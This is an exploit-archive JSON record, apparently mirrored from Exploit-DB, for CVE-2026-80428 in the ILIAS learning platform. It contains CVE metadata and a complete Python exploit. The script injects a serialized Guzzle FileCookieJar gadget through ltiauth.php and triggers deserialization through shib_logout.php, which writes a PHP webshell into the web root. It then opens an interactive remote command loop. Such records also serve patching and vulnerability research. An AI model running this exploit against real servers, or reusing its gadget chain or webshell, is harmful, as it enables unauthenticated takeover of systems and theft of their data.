{"exploit":{"id":"EDB-52682","name":"ILIAS < 9.22 / 10.0 < 10.10 / 11.0 < 11.3 - 'Shibboleth' Unauthenticated PHP Object Injection / Remote Code Execution (RCE)","description":"ILIAS < 9.22 / 10.0 < 10.10 / 11.0 < 11.3 - 'Shibboleth' Unauthenticated PHP Object Injection / Remote Code Execution (RCE)","cves":["CVE-2026-80428"],"author":"DigiProSec","published":"2026-09-11","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52682","path":"exploits/multiple/remote/52682.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52682.py","vulnerabilities":[{"id":"CVE-2026-80428","state":"PUBLISHED","title":"ILIAS PHP Object Injection via Shibboleth Logout","titleSource":"CVE Program","description":"ILIAS before versions 9.22, 10.10, and 11.3 contains an unauthenticated PHP object injection vulnerability that allows unauthenticated attackers to execute arbitrary code by injecting serialized objects through the LTI authentication endpoint and triggering deserialization via the Shibboleth back-channel logout endpoint. Attackers can write arbitrary serialized objects into session storage, then exploit an available POP gadget through the logout endpoint's unrestricted deserialization to write attacker-controlled PHP content to a web-accessible path and achieve remote code execution as the web server user.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-80428","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-80428"},"updatedAt":"2026-09-30T16:39:08.178Z","retrievedAt":"2026-11-25T16:13:33.945Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52682.png?v=2","url":"https://exploitbin.com/exploits/EDB-52682","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52682/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52682/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n#\n# Exploit Title: ILIAS <= 9.21 / 10.9 / 11.2 - Unauthenticated PHP Object Injection (RCE)\n# Date: 2026-08-31\n# Exploit Author: DigiProSec\n# Vendor Homepage: https://www.ilias.de\n# Software Link: https://github.com/ILIAS-eLearning/ILIAS\n# Version: ILIAS < 9.22, 10.0 < 10.10, 11.0 < 11.3 (fixed in 9.22 / 10.10 / 11.3)\n# Tested on: Rocky Linux 9, Apache + PHP-FPM 8.2, ILIAS 10.9 (MariaDB 10.11 backend)\n# CVE: CVE-2026-80428\n#\n# CVE-2026-80428 — Unauthenticated PHP Object Injection via Shibboleth\n# Injection via Shibboleth back-channel logout endpoint (RCE as web server user)\n#\n# Chain:\n#   1. ltiauth.php (auth-exempt LTI entry point) stores the entire request\n#      parameter array into the session table (ilSession::set on\n#      'lti13_login_data'). A \"\\w+|\" marker inside a parameter value breaks the\n#      custom session parser, so our raw serialized object is handed to\n#      unserialize() as if it were a session value.\n#   2. shib_logout.php (auth-exempt Shibboleth back-channel) — a POST with any\n#      non-empty body starts a SoapServer whose LogoutNotification() handler\n#      unserializes EVERY live session row with no class allowlist.\n#   3. Gadget: GuzzleHttp\\Cookie\\FileCookieJar (bundled in ILIAS's vendor tree).\n#      __destruct() -> save($this->filename) -> file_put_contents($filename,\n#      json_encode($cookies)). Attacker-chosen path + JSON-embedded PHP = webshell.\n#\n# Tested: ILIAS 10.9 on Rocky Linux 9 (Apache + PHP-FPM 8.2, MariaDB backend).\n# Notes:  - v11.x ships a broken shib_logout.php variant (null $DIC) and does\n#           not reach the vulnerable code as packaged; v9/v10 are exploitable.\n#         - The target's docroot disk path is needed for the file write\n#           (--path). Defaults to the standard /var/www/ilias/public.\n#         - If ILIAS was configured with a fixed http path, requests must carry\n#           that hostname (--host-header).\n#\n# Usage:  python3 CVE-2026-80428.py <target-ip-or-host> [--cmd 'id']\n#         python3 CVE-2026-80428.py 10.10.10.20 --host-header lms.example --shell\n#\nimport argparse, http.client, re, secrets, ssl, sys, urllib.parse\n\ndef s(x):\n    b = x.encode() if isinstance(x, str) else x\n    return b's:' + str(len(b)).encode() + b':\"' + b + b'\";'\n\ndef filecookiejar(path: str) -> bytes:\n    php = b'<?php system($_GET[chr(120)]); ?>'   # PHP8: bareword index fatals; chr() avoids quotes\n    data = (s('Name') + s('util') + s('Value') + s(php) + s('Domain') + s('ilias')\n            + s('Path') + s('/') + s('Max-Age') + b'N;' + s('Expires') + b'i:1999999999;'\n            + s('Secure') + b'b:0;' + s('Discard') + b'b:0;' + s('HttpOnly') + b'b:0;')\n    setcookie = (b'O:27:\"GuzzleHttp\\\\Cookie\\\\SetCookie\":1:{'\n                 + s('\\x00GuzzleHttp\\\\Cookie\\\\SetCookie\\x00data') + b'a:9:{' + data + b'}}')\n    return (b'O:31:\"GuzzleHttp\\\\Cookie\\\\FileCookieJar\":4:{'\n            + s('\\x00GuzzleHttp\\\\Cookie\\\\CookieJar\\x00cookies') + b'a:1:{i:0;' + setcookie + b'}'\n            + s('\\x00GuzzleHttp\\\\Cookie\\\\CookieJar\\x00strictMode') + b'b:0;'\n            + s('\\x00GuzzleHttp\\\\Cookie\\\\FileCookieJar\\x00filename') + s(path)\n            + s('\\x00GuzzleHttp\\\\Cookie\\\\FileCookieJar\\x00storeSessionCookies') + b'b:1;}')\n\nSOAP = (b'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\\n<SOAP-ENV:Envelope xmlns:SOAP-ENV='\n        b'\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:ns1=\"urn:mace:shibboleth:2.0:sp:notify\">'\n        b'<SOAP-ENV:Body><ns1:LogoutNotification><SessionID>x</SessionID>'\n        b'</ns1:LogoutNotification></SOAP-ENV:Body></SOAP-ENV:Envelope>')\n\nclass Target:\n    def __init__(self, host, port, host_header):\n        self.host, self.port = host, port\n        self.hh = host_header or host\n        self.ctx = ssl._create_unverified_context()\n    def req(self, method, path, body=None, ctype=None):\n        conn = (http.client.HTTPSConnection if self.port == 443 else http.client.HTTPConnection)(\n            self.host, self.port, context=self.ctx if self.port == 443 else None, timeout=30)\n        h = {\"Host\": self.hh}\n        if ctype: h[\"Content-Type\"] = ctype\n        conn.request(method, path, body=body, headers=h)\n        r = conn.getresponse(); d = r.read(); conn.close()\n        return r.status, d\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"CVE-2026-80428 - ILIAS unauthenticated PHP object injection RCE\")\n    ap.add_argument(\"target\")\n    ap.add_argument(\"--port\", type=int, default=443)\n    ap.add_argument(\"--host-header\", default=None, help=\"vhost/ILIAS client hostname if required\")\n    ap.add_argument(\"--path\", default=\"/var/www/ilias/public\",\n                    help=\"ILIAS docroot on disk (v10/11: .../public; v9: repo root)\")\n    ap.add_argument(\"--cmd\", default=\"id\")\n    ap.add_argument(\"--shell\", action=\"store_true\", help=\"interactive command loop\")\n    a = ap.parse_args()\n\n    t = Target(a.target, a.port, a.host_header)\n    shell = f\"util_{secrets.token_hex(3)}.php\"\n    disk  = f\"{a.path.rstrip('/')}/{shell}\"\n\n    print(f\"[*] seeding session via ltiauth.php (writes {disk})\")\n    body = (b\"lti_message_hint=1%3A2&inj=\" +\n            urllib.parse.quote_from_bytes(b\"junk|\" + filecookiejar(disk)).encode())\n    st, _ = t.req(\"POST\", \"/ltiauth.php\", body, \"application/x-www-form-urlencoded\")\n    if st not in (200, 302):\n        print(f\"[-] ltiauth.php returned {st} — is this ILIAS with the LTI entry point exposed?\")\n        sys.exit(1)\n\n    print(\"[*] triggering unserialize via shib_logout.php (SOAP LogoutNotification)\")\n    st, d = t.req(\"POST\", \"/shib_logout.php\", SOAP, \"text/xml\")\n    if b\"LogoutNotificationResponse\" not in d and b\"<OK/>\" not in d:\n        print(f\"[-] trigger response looks wrong (HTTP {st}): {d[:160]!r}\")\n        sys.exit(1)\n\n    def run(cmd):\n        st, d = t.req(\"GET\", f\"/{shell}?x=\" + urllib.parse.quote(cmd))\n        m = re.search(rb'\"Value\":\"(.*?)\",\"Domain\"', d, re.S)\n        return (m.group(1) if m else d).decode(errors=\"replace\").strip()\n\n    out = run(a.cmd)\n    if not out:\n        print(\"[-] webshell did not respond — wrong --path / docroot not writable by web user?\")\n        sys.exit(1)\n    print(f\"[+] webshell live: {'https' if a.port==443 else 'http'}://{a.target}:{a.port}/{shell}?x=<cmd>\")\n    print(f\"[+] {a.cmd}: {out}\")\n\n    if a.shell:\n        print(\"[*] interactive loop — 'exit' quits\")\n        while True:\n            try: cmd = input(\"ilias$ \").strip()\n            except (EOFError, KeyboardInterrupt): break\n            if cmd in (\"exit\", \"quit\"): break\n            if cmd: print(run(cmd))\n\nif __name__ == \"__main__\":\n    main()","sha256":"aa61f6c4ef5cad5d8a84dc6da1f0d64852c25edc8805e9f144374114b33e17bc","bytes":6564,"fetchedAt":"2026-11-25T10:17:06.395Z","encoding":"utf-8 (display only; download retains original bytes)"}